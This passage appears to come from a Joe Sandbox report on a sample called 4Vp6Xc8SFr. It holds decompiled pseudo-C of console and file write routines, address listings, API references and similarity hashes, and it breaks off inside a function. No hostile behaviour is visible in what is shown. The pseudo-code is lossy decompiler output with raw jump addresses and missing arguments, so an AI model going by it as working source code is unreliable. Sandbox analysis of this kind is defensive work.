				 *((intOrPtr*)(_t279 + 8)) = 0;
				if ( *((intOrPtr*)(_t333 - 0x41)) - _t361 >= 0) goto 0xda8ebe0b;
				_t345 = __edx >> 6;
				 *(_t333 - 0x11) = _t345;
				 *((char*)(_t333 - 0x71)) =  *_t327;
				 *((intOrPtr*)(_t333 - 0x6d)) = 0;
				r12d = 1;
				if (_t209 != 0xfde9) goto 0xda8ebc25;
				_t286 = 0x3e + _t372 * 8 +  *((intOrPtr*)(0x7ff7da8d0000 + 0x4ca20 + _t345 * 8));
				if ( *_t286 == dil) goto 0xda8ebad2;
				_t369 = _t326 + 1;
				if (_t369 - 5 < 0) goto 0xda8ebabf;
				if (_t369 <= 0) goto 0xda8ebbbb;
				r12d =  *((char*)(_t286 + 0x7ff7da90d2d1));
				r12d = r12d + 1;
				_t184 = r12d - 1;
				 *((intOrPtr*)(_t333 - 0x51)) = _t184;
				_t338 = _t184;
				if (_t338 -  *((intOrPtr*)(_t333 - 0x61)) - _t327 > 0) goto 0xda8ebd88;
				_t288 = _t326;
				 *((char*)(_t333 + _t288 - 1)) =  *((intOrPtr*)(0x3e + _t372 * 8 +  *((intOrPtr*)(0x7ff7da8d0000 + 0x4ca20 + _t345 * 8))));
				if (_t288 + 1 - _t369 < 0) goto 0xda8ebb23;
				if (_t338 <= 0) goto 0xda8ebb53;
				E00007FF77FF7DA8DBAC0();
				_t356 =  *((intOrPtr*)(_t333 - 0x59));
				_t315 = _t326;
				 *((intOrPtr*)( *((intOrPtr*)(0x7ff7da8d0000 + 0x4ca20 + _t364 * 8)) + _t315 + 0x3e + _t372 * 8)) = dil;
				if (_t315 + 1 - _t369 < 0) goto 0xda8ebb56;
				 *((long long*)(_t333 - 0x31)) = _t326;
				_t270 = _t333 - 1;
				 *((long long*)(_t333 - 0x29)) = _t270;
				_t188 = (0 | r12d == 0x00000004) + 1;
				r12d = _t188;
				r8d = _t188;
				 *((long long*)(_t335 + 0x20)) = _t356;
				E00007FF77FF7DA8EF4CC(_t270, _t279, _t333 - 0x6d, _t333 - 0x29, _t338, _t333 - 0x31);
				if (_t270 == 0xffffffff) goto 0xda8ebe0b;
				_t328 = _t327 +  *((intOrPtr*)(_t333 - 0x51)) - 1;
				goto 0xda8ebcb6;
				_t365 =  *((char*)(_t270 + 0x7ff7da90d2d0));
				_t211 = _t365 + 1;
				_t271 = _t211;
				if (_t271 -  *((intOrPtr*)(_t333 - 0x61)) - _t328 > 0) goto 0xda8ebdb6;
				 *((long long*)(_t333 - 0x51)) = _t326;
				 *((long long*)(_t333 - 0x21)) = _t328;
				_t195 = (0 | _t211 == 0x00000004) + 1;
				r14d = _t195;
				r8d = _t195;
				 *((long long*)(_t335 + 0x20)) = _t356;
				_t347 = _t333 - 0x51;
				E00007FF77FF7DA8EF4CC(_t271, _t279, _t333 - 0x6d, _t333 - 0x21,  *((intOrPtr*)(_t333 - 0x61)) - _t328, _t347);
				if (_t271 == 0xffffffff) goto 0xda8ebe0b;
				_t329 = _t328 + _t365;
				r12d = r14d;
				_t366 =  *(_t333 - 0x39);
				goto 0xda8ebcb6;
				_t341 =  *((intOrPtr*)(0x7ff7da8d0000 + 0x4ca20 + _t366 * 8));
				_t212 =  *(_t341 + 0x3d + _t372 * 8);
				if ((_t212 & 0x00000004) == 0) goto 0xda8ebc58;
				 *((char*)(_t333 + 7)) =  *((intOrPtr*)(_t341 + 0x3e + _t372 * 8));
				 *((char*)(_t333 + 8)) =  *_t329;
				 *(_t341 + 0x3d + _t372 * 8) = _t212 & 0x000000fb;
				r8d = 2;
				goto 0xda8ebca1;
				r9d =  *_t329 & 0x000000ff;
				if ( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t356 + 0x18)))) + _t347 * 2)) >= 0) goto 0xda8ebc9b;
				_t370 =  &(_t329[1]);
				if (_t370 -  *((intOrPtr*)(_t333 - 0x61)) >= 0) goto 0xda8ebde8;
				r8d = 2;
				if (E00007FF77FF7DA8EDB00(_t212 & 0x000000fb, _t229, _t279, _t333 - 0x6d, _t329, _t326, _t329, _t333, _t341, _t356) == 0xffffffff) goto 0xda8ebe0b;
				_t330 = _t370;
				goto 0xda8ebcb6;
				_t200 = E00007FF77FF7DA8EDB00(_t212 & 0x000000fb, _t229, _t279, _t333 - 0x6d, _t330, _t326, _t330, _t333, _t361, _t356);
				if (_t200 == 0xffffffff) goto 0xda8ebe0b;
				_t331 =  &(_t330[1]);
				 *((long long*)(_t335 + 0x38)) = _t326;
				 *((long long*)(_t335 + 0x30)) = _t326;
				 *((intOrPtr*)(_t335 + 0x28)) = 5;
				_t273 = _t333 + 0xf;
				 *((long long*)(_t335 + 0x20)) = _t273;
				r9d = r12d;
				_t343 = _t333 - 0x6d;
				E00007FF77FF7DA8EF008();
				r14d = _t200;
				if (_t200 == 0) goto 0xda8ebe0b;
				 *((long long*)(_t335 + 0x20)) = _t326;
				r8d = _t200;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0xda8ebe03;
				 *((intOrPtr*)(_t279 + 4)) = __esi -  *((intOrPtr*)(_t333 - 0x41)) +  *((intOrPtr*)(_t279 + 8));
				if ( *((intOrPtr*)(_t333 - 0x69)) - r14d < 0) goto 0xda8ebe0b;
				if ( *((char*)(_t333 - 0x71)) != 0xa) goto 0xda8ebd6e;
				 *((short*)(_t333 - 0x71)) = 0xd;
				 *((long long*)(_t335 + 0x20)) = _t326;
				_t130 = _t273 - 0xc; // 0x1
				r8d = _t130;
				_t323 = _t333 - 0x71;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0xda8ebe03;
				if ( *((intOrPtr*)(_t333 - 0x69)) - 1 < 0) goto 0xda8ebe0b;
				 *((intOrPtr*)(_t279 + 8)) =  *((intOrPtr*)(_t279 + 8)) + 1;
				 *((intOrPtr*)(_t279 + 4)) =  *((intOrPtr*)(_t279 + 4)) + 1;
				if (_t331 -  *((intOrPtr*)(_t333 - 0x61)) >= 0) goto 0xda8ebe0b;
				goto 0xda8eba89;
				if (_t323 <= 0) goto 0xda8ebdb1;
				_t332 = _t331 - _t370;
				 *((char*)( *((intOrPtr*)(0x7ff7da8d0000 + 0x4ca20 + _t366 * 8)) + _t370 + 0x3e + _t372 * 8)) =  *((intOrPtr*)(_t332 + _t370));
				if (1 - _t323 < 0) goto 0xda8ebd90;
				 *((intOrPtr*)(_t279 + 4)) =  *((intOrPtr*)(_t279 + 4)) +  *((intOrPtr*)(_t279 + 4));
				goto 0xda8ebe0b;
				if (_t343 <= 0) goto 0xda8ebde2;
				_t324 = _t326;
				 *((char*)( *((intOrPtr*)(0x7ff7da8d0000 + 0x4ca20 +  *(_t333 - 0x39) * 8)) + _t324 + 0x3e + _t372 * 8)) =  *((intOrPtr*)(_t324 + _t332));
				_t325 = _t324 + 1;
				if (2 - _t343 < 0) goto 0xda8ebdc2;
				 *((intOrPtr*)(_t279 + 4)) =  *((intOrPtr*)(_t279 + 4)) + r8d;
				goto 0xda8ebe0b;
				 *((intOrPtr*)(_t343 + 0x3e + _t372 * 8)) = r9b;
				 *( *((intOrPtr*)(0x7ff7da8d0000 + 0x4ca20 + _t366 * 8)) + 0x3d + _t372 * 8) =  *( *((intOrPtr*)(0x7ff7da8d0000 + 0x4ca20 + _t366 * 8)) + 0x3d + _t372 * 8) | 0x00000004;
				_t173 = _t325 + 1; // 0x1
				 *((intOrPtr*)(_t279 + 4)) = _t173;
				goto 0xda8ebe0b;
				 *_t279 = GetLastError();
				return E00007FF77FF7DA8DACF0(_t207,  *((intOrPtr*)(_t333 - 0x45)),  *(_t333 + 0x17) ^ _t335);
			}



















































                                                                                                                              0x7ff7da8eb9c0
                                                                                                                              0x7ff7da8eb9ce
                                                                                                                              0x7ff7da8eb9d2
                                                                                                                              0x7ff7da8eb9d9
                                                                                                                              0x7ff7da8eb9e1
                                                                                                                              0x7ff7da8eb9e5
                                                                                                                              0x7ff7da8eb9ef
                                                                                                                              0x7ff7da8eb9f3
                                                                                                                              0x7ff7da8eb9f6
                                                                                                                              0x7ff7da8eb9fd
                                                                                                                              0x7ff7da8eba04
                                                                                                                              0x7ff7da8eba0e
                                                                                                                              0x7ff7da8eba12
                                                                                                                              0x7ff7da8eba20
                                                                                                                              0x7ff7da8eba2c
                                                                                                                              0x7ff7da8eba31
                                                                                                                              0x7ff7da8eba35
                                                                                                                              0x7ff7da8eba38
                                                                                                                              0x7ff7da8eba3b
                                                                                                                              0x7ff7da8eba45
                                                                                                                              0x7ff7da8eba52
                                                                                                                              0x7ff7da8eba57
                                                                                                                              0x7ff7da8eba64
                                                                                                                              0x7ff7da8eba67
                                                                                                                              0x7ff7da8eba6c
                                                                                                                              0x7ff7da8eba6f
                                                                                                                              0x7ff7da8eba76
                                                                                                                              0x7ff7da8eba7f
                                                                                                                              0x7ff7da8eba83
                                                                                                                              0x7ff7da8eba8b
                                                                                                                              0x7ff7da8eba8e
                                                                                                                              0x7ff7da8eba91
                                                                                                                              0x7ff7da8ebaa4
                                                                                                                              0x7ff7da8ebab7
                                                                                                                              0x7ff7da8ebac2
                                                                                                                              0x7ff7da8ebac6
                                                                                                                              0x7ff7da8ebad0
                                                                                                                              0x7ff7da8ebad5
                                                                                                                              0x7ff7da8ebae9
                                                                                                                              0x7ff7da8ebaf2
                                                                                                                              0x7ff7da8ebaf8
                                                                                                                              0x7ff7da8ebafa
                                                                                                                              0x7ff7da8ebb04
                                                                                                                              0x7ff7da8ebb0a
                                                                                                                              0x7ff7da8ebb10
                                                                                                                              0x7ff7da8ebb25
                                                                                                                              0x7ff7da8ebb32
                                                                                                                              0x7ff7da8ebb37
                                                                                                                              0x7ff7da8ebb43
                                                                                                                              0x7ff7da8ebb48
                                                                                                                              0x7ff7da8ebb53
                                                                                                                              0x7ff7da8ebb61
                                                                                                                              0x7ff7da8ebb6c
                                                                                                                              0x7ff7da8ebb6e
                                                                                                                              0x7ff7da8ebb72
                                                                                                                              0x7ff7da8ebb76
                                                                                                                              0x7ff7da8ebb83
                                                                                                                              0x7ff7da8ebb85
                                                                                                                              0x7ff7da8ebb88
                                                                                                                              0x7ff7da8ebb8b
                                                                                                                              0x7ff7da8ebb9c
                                                                                                                              0x7ff7da8ebba5
                                                                                                                              0x7ff7da8ebbb3
                                                                                                                              0x7ff7da8ebbb6
                                                                                                                              0x7ff7da8ebbbe
                                                                                                                              0x7ff7da8ebbc7
                                                                                                                              0x7ff7da8ebbd2
                                                                                                                              0x7ff7da8ebbd8
                                                                                                                              0x7ff7da8ebbde
                                                                                                                              0x7ff7da8ebbe2
                                                                                                                              0x7ff7da8ebbee
                                                                                                                              0x7ff7da8ebbf0
                                                                                                                              0x7ff7da8ebbf3
                                                                                                                              0x7ff7da8ebbf6
                                                                                                                              0x7ff7da8ebbfb
                                                                                                                              0x7ff7da8ebc07
                                                                                                                              0x7ff7da8ebc10
                                                                                                                              0x7ff7da8ebc16
                                                                                                                              0x7ff7da8ebc19
                                                                                                                              0x7ff7da8ebc1c
                                                                                                                              0x7ff7da8ebc20
                                                                                                                              0x7ff7da8ebc25
                                                                                                                              0x7ff7da8ebc2d
                                                                                                                              0x7ff7da8ebc35
                                                                                                                              0x7ff7da8ebc3c
                                                                                                                              0x7ff7da8ebc41
                                                                                                                              0x7ff7da8ebc47
                                                                                                                              0x7ff7da8ebc4c
                                                                                                                              0x7ff7da8ebc56
                                                                                                                              0x7ff7da8ebc58
                                                                                                                              0x7ff7da8ebc68
                                                                                                                              0x7ff7da8ebc6a
                                                                                                                              0x7ff7da8ebc72
                                                                                                                              0x7ff7da8ebc7b
                                                                                                                              0x7ff7da8ebc90
                                                                                                                              0x7ff7da8ebc96
                                                                                                                              0x7ff7da8ebc99
                                                                                                                              0x7ff7da8ebca8
                                                                                                                              0x7ff7da8ebcb0
                                                                                                                              0x7ff7da8ebcb6
                                                                                                                              0x7ff7da8ebcb9
                                                                                                                              0x7ff7da8ebcbe
                                                                                                                              0x7ff7da8ebcc3
                                                                                                                              0x7ff7da8ebccb
                                                                                                                              0x7ff7da8ebccf
                                                                                                                              0x7ff7da8ebcd4
                                                                                                                              0x7ff7da8ebcd7
                                                                                                                              0x7ff7da8ebce0
                                                                                                                              0x7ff7da8ebce5
                                                                                                                              0x7ff7da8ebcea
                                                                                                                              0x7ff7da8ebcf0
                                                                                                                              0x7ff7da8ebcf9
                                                                                                                              0x7ff7da8ebd0f
                                                                                                                              0x7ff7da8ebd1d
                                                                                                                              0x7ff7da8ebd24
                                                                                                                              0x7ff7da8ebd2e
                                                                                                                              0x7ff7da8ebd35
                                                                                                                              0x7ff7da8ebd39
                                                                                                                              0x7ff7da8ebd42
                                                                                                                              0x7ff7da8ebd42
                                                                                                                              0x7ff7da8ebd46
                                                                                                                              0x7ff7da8ebd55
                                                                                                                              0x7ff7da8ebd5f
                                                                                                                              0x7ff7da8ebd65
                                                                                                                              0x7ff7da8ebd68
                                                                                                                              0x7ff7da8ebd72
                                                                                                                              0x7ff7da8ebd83
                                                                                                                              0x7ff7da8ebd8b
                                                                                                                              0x7ff7da8ebd8d
                                                                                                                              0x7ff7da8ebd9f
                                                                                                                              0x7ff7da8ebdaf
                                                                                                                              0x7ff7da8ebdb1
                                                                                                                              0x7ff7da8ebdb4
                                                                                                                              0x7ff7da8ebdb9
                                                                                                                              0x7ff7da8ebdbb
                                                                                                                              0x7ff7da8ebdd0
                                                                                                                              0x7ff7da8ebdd7
                                                                                                                              0x7ff7da8ebde0
                                                                                                                              0x7ff7da8ebde2
                                                                                                                              0x7ff7da8ebde6
                                                                                                                              0x7ff7da8ebde8
                                                                                                                              0x7ff7da8ebdf5
                                                                                                                              0x7ff7da8ebdfb
                                                                                                                              0x7ff7da8ebdfe
                                                                                                                              0x7ff7da8ebe01
                                                                                                                              0x7ff7da8ebe09
                                                                                                                              0x7ff7da8ebe34

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: FileWrite$ConsoleErrorLastOutput
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2718003287-0
                                                                                                                              • Opcode ID: 4cae027592c5ba934747693b00d7aff08725dc1ee470aad96940ecba80e61e26
                                                                                                                              • Instruction ID: 3015a7e8fc187f18b525ac0f8d476e40feaf1f2652b40fe8f83079da93e8bb0b
                                                                                                                              • Opcode Fuzzy Hash: 4cae027592c5ba934747693b00d7aff08725dc1ee470aad96940ecba80e61e26
                                                                                                                              • Instruction Fuzzy Hash: C2D11132B08A8189F712DF64C4442ACB7B1FB64798B848176CE4E97B8ADE3DD526C310
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EC380 Relevance: 6.2, APIs: 4, Instructions: 218COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 35%
                                                                                                                              			E00007FF77FF7DA8EC380(void* __ebx, signed int __ecx, void* __esi, void* __rax, void* __rcx, signed short* __rdx, void* __r8, signed int __r9, void* __r10, void* __r11) {
				signed long long _v88;
				char _v96;
				void* _v108;
				signed int _v112;
				intOrPtr _v120;
				signed int _v124;
				long _v128;
				signed int _v136;
				long long _v144;
				signed int _v152;
				void* __rbx;
				void* __rsi;
				void* __rbp;
				signed short _t99;
				void* _t107;
				long _t116;
				signed int _t117;
				void* _t122;
				signed short _t127;
				signed int _t130;
				signed short _t133;
				signed short _t158;
				signed short _t166;
				signed long long _t179;
				signed int _t183;
				signed short* _t196;
				signed int _t203;
				signed int _t204;
				signed short* _t205;
				void* _t207;
				void* _t217;
				void* _t218;
				signed long long _t220;
				void* _t221;
				signed long long _t222;
				signed long long _t223;
				void* _t224;
				signed short* _t226;

				_t218 = __r11;
				_t217 = __r10;
				_t196 = __rdx;
				_t122 = __ebx;
				r14d = r8d;
				_t183 = __r9;
				_t205 = __rdx;
				if (r8d == 0) goto 0xda8ec673;
				if (__rdx != 0) goto 0xda8ec3e7;
				 *((char*)(__r9 + 0x38)) = 1;
				r8d = 0;
				 *((intOrPtr*)(__r9 + 0x34)) = 0;
				 *((char*)(__r9 + 0x30)) = 1;
				 *((intOrPtr*)(__r9 + 0x2c)) = 0x16;
				r9d = 0;
				_v144 = __r9;
				_v152 = _t204;
				E00007FF77FF7DA8E9C34(__rax, __r9, __rcx, __rdx, __rdx, _t207, __r8);
				goto 0xda8ec675;
				_t220 = __ecx >> 6;
				_v88 = _t220;
				_t223 = __ecx + __ecx * 8;
				_t99 =  *((intOrPtr*)(0xda91ca20 + 0x39 + _t223 * 8));
				_v136 = _t99;
				if (_t99 - 1 - 1 > 0) goto 0xda8ec41e;
				if (( !r14d & 0x00000001) == 0) goto 0xda8ec3b0;
				if (( *( *((intOrPtr*)(0xda91ca20 + _t220 * 8)) + 0x38 + _t223 * 8) & 0x00000020) == 0) goto 0xda8ec434;
				_t23 = _t196 + 2; // 0x2
				r8d = _t23;
				0xda8eb740();
				_v112 = _t204;
				if (E00007FF77FF7DA8F298C(r15d, __ecx) == 0) goto 0xda8ec563;
				if ( *( *((intOrPtr*)(0xda91ca20 + _t220 * 8)) + 0x38 + _t223 * 8) - dil >= 0) goto 0xda8ec563;
				if ( *((intOrPtr*)(__r9 + 0x28)) != dil) goto 0xda8ec473;
				E00007FF77FF7DA8E3970( *((intOrPtr*)(0xda91ca20 + _t220 * 8)), __r9, __r9, _t205);
				if ( *((intOrPtr*)( *((intOrPtr*)(__r9 + 0x18)) + 0x138)) != _t204) goto 0xda8ec48f;
				_t179 =  *((intOrPtr*)(0xda91ca20 + _t220 * 8));
				if ( *((intOrPtr*)(_t179 + 0x39 + _t223 * 8)) == dil) goto 0xda8ec563;
				if (GetConsoleMode(??, ??) == 0) goto 0xda8ec55c;
				_t127 = _v136;
				_t158 = _t127;
				if (_t158 == 0) goto 0xda8ec539;
				if (_t158 == 0) goto 0xda8ec4c4;
				if (_t127 - 1 != 1) goto 0xda8ec5fd;
				_t221 = _t205 + _t224;
				_v128 = _t204;
				_t226 = _t205;
				if (_t205 - _t221 >= 0) goto 0xda8ec530;
				r14d = _v124;
				_v136 =  *_t226 & 0x0000ffff;
				_t107 = E00007FF77FF7DA8F2A58( *_t226 & 0xffff);
				_t130 = _v136 & 0x0000ffff;
				if (_t107 != _t130) goto 0xda8ec527;
				r14d = r14d + 2;
				_v124 = r14d;
				if (_t130 != 0xa) goto 0xda8ec51c;
				if (E00007FF77FF7DA8F2A58(0xd) != 0xd) goto 0xda8ec527;
				r14d = r14d + 1;
				_v124 = r14d;
				if ( &(_t226[1]) - _t221 >= 0) goto 0xda8ec530;
				goto 0xda8ec4d8;
				_v128 = GetLastError();
				_t222 = _v88;
				goto 0xda8ec5f3;
				r9d = r14d;
				_v152 = __r9;
				E00007FF77FF7DA8EB9C0(_t109, r15d, __esi, __r9,  &_v128,  &_v96, _t205);
				asm("movsd xmm0, [eax]");
				goto 0xda8ec5f8;
				if ( *((intOrPtr*)( *((intOrPtr*)(0xda91ca20 + _t222 * 8)) + 0x38 + _t223 * 8)) - dil >= 0) goto 0xda8ec5c0;
				_t133 = _v136;
				_t166 = _t133;
				if (_t166 == 0) goto 0xda8ec5ac;
				if (_t166 == 0) goto 0xda8ec598;
				if (_t133 - 1 != 1) goto 0xda8ec604;
				r9d = r14d;
				E00007FF77FF7DA8EBF3C(_t122, r15d, _t179, _t183,  &_v128, _t207, _t205, _t217, _t218);
				goto 0xda8ec550;
				r9d = r14d;
				E00007FF77FF7DA8EC058(r15d,  *((intOrPtr*)(_t179 + 8)), _t179, _t183,  &_v128, _t207, _t205, _t217, _t218);
				goto 0xda8ec550;
				r9d = r14d;
				E00007FF77FF7DA8EBE38(_t122, _t133 - 1, r15d, _t179, _t183,  &_v128, _t207, _t205, _t217, _t218);
				goto 0xda8ec550;
				r8d = r14d;
				_v152 = _v152 & _t179;
				_v128 = _t179;
				_v120 = 0;
				if (WriteFile(??, ??, ??, ??, ??) != 0) goto 0xda8ec5f0;
				_t116 = GetLastError();
				_v128 = _t116;
				asm("movsd xmm0, [ebp-0x40]");
				asm("movsd [ebp-0x30], xmm0");
				if (_t116 != 0) goto 0xda8ec66c;
				_t117 = _v112;
				if (_t117 == 0) goto 0xda8ec643;
				if (_t117 != 5) goto 0xda8ec633;
				 *((char*)(_t183 + 0x30)) = 1;
				 *((intOrPtr*)(_t183 + 0x2c)) = 9;
				 *((char*)(_t183 + 0x38)) = 1;
				 *(_t183 + 0x34) = _t117;
				goto 0xda8ec3df;
				_t203 = _t183;
				E00007FF77FF7DA8E4350(_v112, _t203);
				goto 0xda8ec3df;
				if (( *( *((intOrPtr*)(_t203 + _t222 * 8)) + 0x38 + _t223 * 8) & 0x00000040) == 0) goto 0xda8ec654;
				if ( *_t205 == 0x1a) goto 0xda8ec673;
				 *(_t183 + 0x34) =  *(_t183 + 0x34) & 0x00000000;
				 *((char*)(_t183 + 0x30)) = 1;
				 *((intOrPtr*)(_t183 + 0x2c)) = 0x1c;
				 *((char*)(_t183 + 0x38)) = 1;
				goto 0xda8ec3df;
				goto 0xda8ec675;
				return 0;
			}









































                                                                                                                              0x7ff7da8ec380
                                                                                                                              0x7ff7da8ec380
                                                                                                                              0x7ff7da8ec380
                                                                                                                              0x7ff7da8ec380
                                                                                                                              0x7ff7da8ec396
                                                                                                                              0x7ff7da8ec39c
                                                                                                                              0x7ff7da8ec39f
                                                                                                                              0x7ff7da8ec3a5
                                                                                                                              0x7ff7da8ec3ae
                                                                                                                              0x7ff7da8ec3b0
                                                                                                                              0x7ff7da8ec3b5
                                                                                                                              0x7ff7da8ec3b8
                                                                                                                              0x7ff7da8ec3be
                                                                                                                              0x7ff7da8ec3c5
                                                                                                                              0x7ff7da8ec3cd
                                                                                                                              0x7ff7da8ec3d0
                                                                                                                              0x7ff7da8ec3d5
                                                                                                                              0x7ff7da8ec3da
                                                                                                                              0x7ff7da8ec3e2
                                                                                                                              0x7ff7da8ec3f7
                                                                                                                              0x7ff7da8ec3fb
                                                                                                                              0x7ff7da8ec3ff
                                                                                                                              0x7ff7da8ec407
                                                                                                                              0x7ff7da8ec40c
                                                                                                                              0x7ff7da8ec413
                                                                                                                              0x7ff7da8ec41c
                                                                                                                              0x7ff7da8ec424
                                                                                                                              0x7ff7da8ec42b
                                                                                                                              0x7ff7da8ec42b
                                                                                                                              0x7ff7da8ec42f
                                                                                                                              0x7ff7da8ec437
                                                                                                                              0x7ff7da8ec449
                                                                                                                              0x7ff7da8ec458
                                                                                                                              0x7ff7da8ec462
                                                                                                                              0x7ff7da8ec467
                                                                                                                              0x7ff7da8ec47e
                                                                                                                              0x7ff7da8ec480
                                                                                                                              0x7ff7da8ec489
                                                                                                                              0x7ff7da8ec4a4
                                                                                                                              0x7ff7da8ec4aa
                                                                                                                              0x7ff7da8ec4ae
                                                                                                                              0x7ff7da8ec4b0
                                                                                                                              0x7ff7da8ec4b9
                                                                                                                              0x7ff7da8ec4be
                                                                                                                              0x7ff7da8ec4c4
                                                                                                                              0x7ff7da8ec4c8
                                                                                                                              0x7ff7da8ec4cc
                                                                                                                              0x7ff7da8ec4d2
                                                                                                                              0x7ff7da8ec4d4
                                                                                                                              0x7ff7da8ec4df
                                                                                                                              0x7ff7da8ec4e3
                                                                                                                              0x7ff7da8ec4e8
                                                                                                                              0x7ff7da8ec4ef
                                                                                                                              0x7ff7da8ec4f1
                                                                                                                              0x7ff7da8ec4f5
                                                                                                                              0x7ff7da8ec4fd
                                                                                                                              0x7ff7da8ec511
                                                                                                                              0x7ff7da8ec513
                                                                                                                              0x7ff7da8ec516
                                                                                                                              0x7ff7da8ec523
                                                                                                                              0x7ff7da8ec525
                                                                                                                              0x7ff7da8ec52d
                                                                                                                              0x7ff7da8ec530
                                                                                                                              0x7ff7da8ec534
                                                                                                                              0x7ff7da8ec539
                                                                                                                              0x7ff7da8ec53c
                                                                                                                              0x7ff7da8ec54b
                                                                                                                              0x7ff7da8ec550
                                                                                                                              0x7ff7da8ec557
                                                                                                                              0x7ff7da8ec56c
                                                                                                                              0x7ff7da8ec56e
                                                                                                                              0x7ff7da8ec572
                                                                                                                              0x7ff7da8ec574
                                                                                                                              0x7ff7da8ec579
                                                                                                                              0x7ff7da8ec57e
                                                                                                                              0x7ff7da8ec584
                                                                                                                              0x7ff7da8ec591
                                                                                                                              0x7ff7da8ec596
                                                                                                                              0x7ff7da8ec598
                                                                                                                              0x7ff7da8ec5a5
                                                                                                                              0x7ff7da8ec5aa
                                                                                                                              0x7ff7da8ec5ac
                                                                                                                              0x7ff7da8ec5b9
                                                                                                                              0x7ff7da8ec5be
                                                                                                                              0x7ff7da8ec5cb
                                                                                                                              0x7ff7da8ec5ce
                                                                                                                              0x7ff7da8ec5d6
                                                                                                                              0x7ff7da8ec5da
                                                                                                                              0x7ff7da8ec5e5
                                                                                                                              0x7ff7da8ec5e7
                                                                                                                              0x7ff7da8ec5ed
                                                                                                                              0x7ff7da8ec5f3
                                                                                                                              0x7ff7da8ec5f8
                                                                                                                              0x7ff7da8ec60e
                                                                                                                              0x7ff7da8ec610
                                                                                                                              0x7ff7da8ec615
                                                                                                                              0x7ff7da8ec61a
                                                                                                                              0x7ff7da8ec61c
                                                                                                                              0x7ff7da8ec620
                                                                                                                              0x7ff7da8ec627
                                                                                                                              0x7ff7da8ec62b
                                                                                                                              0x7ff7da8ec62e
                                                                                                                              0x7ff7da8ec636
                                                                                                                              0x7ff7da8ec639
                                                                                                                              0x7ff7da8ec63e
                                                                                                                              0x7ff7da8ec64d
                                                                                                                              0x7ff7da8ec652
                                                                                                                              0x7ff7da8ec654
                                                                                                                              0x7ff7da8ec658
                                                                                                                              0x7ff7da8ec65c
                                                                                                                              0x7ff7da8ec663
                                                                                                                              0x7ff7da8ec667
                                                                                                                              0x7ff7da8ec671
                                                                                                                              0x7ff7da8ec685

                                                                                                                              APIs
                                                                                                                              • GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF7DA8EC36B), ref: 00007FF7DA8EC49C
                                                                                                                              • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF7DA8EC36B), ref: 00007FF7DA8EC527
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ConsoleErrorLastMode
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 953036326-0
                                                                                                                              • Opcode ID: 866ede3298fa327e1352ae7a751efdd83158b4407a9a6bcee0e24f0a144bec6f
                                                                                                                              • Instruction ID: 35ffa1d46ce3754681518a236350748ea23c3f3e22c6dc510897bc2ab61ea3d4
                                                                                                                              • Opcode Fuzzy Hash: 866ede3298fa327e1352ae7a751efdd83158b4407a9a6bcee0e24f0a144bec6f
                                                                                                                              • Instruction Fuzzy Hash: 039125B2F08652C5F712AF2584402BDABA0BB64B88FD441BBDE0E53696CF3DD552C760
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD742010 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 216stringCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 45%
                                                                                                                              			E00007FFC7FFCFD742010(long long __rbx, void* __rcx, void* __rdx, long long __r9, long long _a24, signed int _a40) {
				signed int _v72;
				char _v344;
				long long _v360;
				intOrPtr _v392;
				void* __rsi;
				void* __rbp;
				void* _t46;
				signed long long _t55;
				signed long long _t56;
				long long _t59;
				long long _t73;
				void* _t74;
				void* _t75;
				signed long long _t76;
				signed int _t87;
				signed long long _t89;

				_t59 = __rbx;
				_a24 = __rbx;
				_t76 = _t75 - 0x170;
